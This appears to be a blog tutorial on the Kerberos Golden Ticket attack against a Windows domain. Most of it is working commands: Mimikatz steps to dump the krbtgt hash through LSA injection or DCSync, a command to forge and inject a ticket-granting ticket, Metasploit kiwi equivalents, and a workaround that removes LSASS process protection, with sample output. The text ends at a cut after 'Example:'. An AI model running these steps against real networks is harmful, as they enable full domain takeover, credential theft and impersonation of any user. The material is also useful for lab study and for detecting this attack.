A Golden Ticket attack becomes possible when an attacker obtains the long-term key material for the domain krbtgt account. With that key, the attacker can forge Kerberos ticket-granting tickets (TGTs) and impersonate domain principals until the compromised key material is rotated and existing forged tickets expire.
Commands:
privilege::debug
lsadump::lsa /inject /name:krbtgt
An alternate is to use dcsync:
lsadump::dcsync /user:krbtgt
Then, take that hash you just stole from a DC and use it to forge a TGT:
Kerberos::golden user:{any} /domain:chadduffey.com /sid:{domain-sid} /krbtgt:{hash-you-stole} /ticket:ticketname.ticket /ptt
You can inspect your work with:
Kerberos::list<br />Kerberos::tgt
Use it:
misc::cmd
Example: Note that we are still ‘todd’ whose account doesn’t have any special domain privileges, even after we inject the forged tgt into memory).
Also, while we are logged on as “todd” its worth looking at the tickets that are in memory on the machine:
Note that the RC4 TGT has no domain controller associated with it, no domain controller handed out this TGT, we forged it. But also note, that the DC is happy to give out more tickets, because we have a ‘valid’ TGT (well, at least the crypto checks out).
Alternate, use metasploit:
use kiwi
golden_ticket_create
kerberos_ticket_use
shell
A note about lsadump::lsa failing:
Depending on the system configuration, you might find that lsadump does not work for you right away. The most common cause is when the administrator has configured lsass.exe to run in protected mode. It will generally look like this:
mimikatz # privilege::debug
Privilege '20'
mimikatz # lsadump::lsa /inject /name:krbtgt
ERROR kuhl_m_lsadump_lsa_getHandle ; OpenProcess (0x00000005)
Domain : CHADDUFFEY / S-1-5-21-465565427-3215364919-2731916836
RID : 000001f6 (502)
User : krbtgt
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003
When that happens, you can work around it with:
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 644
Example:
